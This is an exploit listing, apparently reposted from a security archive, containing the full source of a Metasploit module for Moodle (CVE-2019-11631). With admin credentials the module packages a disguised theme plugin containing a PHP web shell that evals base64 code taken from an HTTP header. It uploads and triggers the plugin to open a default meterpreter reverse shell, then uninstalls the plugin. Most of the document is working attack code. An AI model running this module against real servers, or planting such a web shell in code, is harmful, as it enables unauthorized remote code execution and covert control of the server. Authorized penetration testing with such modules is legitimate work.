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Moodle Admin Shell Upload

Moodle Admin Shell Upload
Posted Oct 12, 2021
Authored by h00die, Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module will generate a plugin which can receive a malicious payload request and upload it to a server running Moodle provided valid admin credentials are used. Then the payload is sent for execution, and the plugin uninstalled. You must have an admin account to exploit this vulnerability. Successfully tested against versions 3.6.3, 3.8.0, 3.9.0, 3.10.0, and 3.11.2.

tags | exploit
advisories | CVE-2019-11631
MD5 | de7ddb72e0bed90237de3829ad7cb9ed

Moodle Admin Shell Upload

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Admin Shell Upload',
'Description' => %q{
This module will generate a plugin which can receive a malicious
payload request and upload it to a server running Moodle
provided valid admin credentials are used. Then the payload
is sent for execution, and the plugin uninstalled.

You must have an admin account to exploit this vulnerability.

Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
},
'License' => MSF_LICENSE,
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
'h00die' # msf module cleanup and inclusion
],
'References' => [
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
['EDB', '46775'],
['CVE', '2019-11631'] # rejected, its a feature!
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2019-04-28',
'DefaultTarget' => 0,
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
'Payload' => {
'BadChars' => "'",
'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('USERNAME', [true, 'Admin username to authenticate with', 'admin']),
OptString.new('PASSWORD', [false, 'Admin password to authenticate with', ''])
]
)
end

def create_addon_file
# There are syntax errors in creating zip file. So the payload was sent as base64.
plugin_file = Rex::Zip::Archive.new
header = Rex::Text.rand_text_alpha_upper(4)
plugin_name = Rex::Text.rand_text_alpha_lower(8)

print_status("Creating plugin named: #{plugin_name} with poisoned header: #{header}")

path = "#{plugin_name}/version.php"
path2 = "#{plugin_name}/lang/en/theme_#{plugin_name}.php"
# "$plugin->version" and "$plugin->component" contents are required to accept Moodle plugin.
plugin_file.add_file(path, "<?php $plugin->version = #{Time.now.to_time.to_i}; $plugin->component = 'theme_#{plugin_name}';")
plugin_file.add_file(path2, "<?php eval(base64_decode($_SERVER['HTTP_#{header}'])); ?>")
# plugin_file.add_file(path2, "<?php #{payload.encoded}) ?>")
return plugin_file.pack, header, plugin_name
end

def exec_code(plugin_name, header)
# Base64 was encoded in "PHP". This process was sent as "HTTP headers".
print_status('Triggering payload')
send_request_cgi({
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'theme', plugin_name, 'lang', 'en', "theme_#{plugin_name}.php"),
'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
})
end

def check
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?

# This is a feature, not a vuln, so we assume this to work on 3.0.0+
# assuming the plugin arch changed before that.
# > 3.0, < 3.9
version = Rex::Version.new(v)
if version > Rex::Version.new('3.0.0')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end

CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end

def exploit
v = moodle_version
fail_with(Failure::NoTarget, 'Unable to determine moodle version') if v.nil?

version = Rex::Version.new(v)
print_status("Authenticating as user: #{datastore['USERNAME']}")
cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
cookies.each do |cookie|
cookie_jar.add(cookie)
end

print_good("Authentication was successful with user: #{datastore['USERNAME']}")
print_status('Creating addon file')
addon_content, header, addon_name = create_addon_file
print_status('Uploading addon')
file_id, sesskey = upload_addon(addon_name, version, addon_content)
fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
print_good('Upload Successful. Integrating addon')
ret = plugin_integration(sesskey, file_id, addon_name)
if ret.nil?
fail_with(Failure::NoAccess, 'Install not successful')
end
exec_code(addon_name, header)
print_status('Uninstalling plugin after 5 second delay so payload can change directories')
sleep(5)
remove_plugin("theme_#{addon_name}", version, sesskey)
end

def on_new_session(_)
print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
end
end
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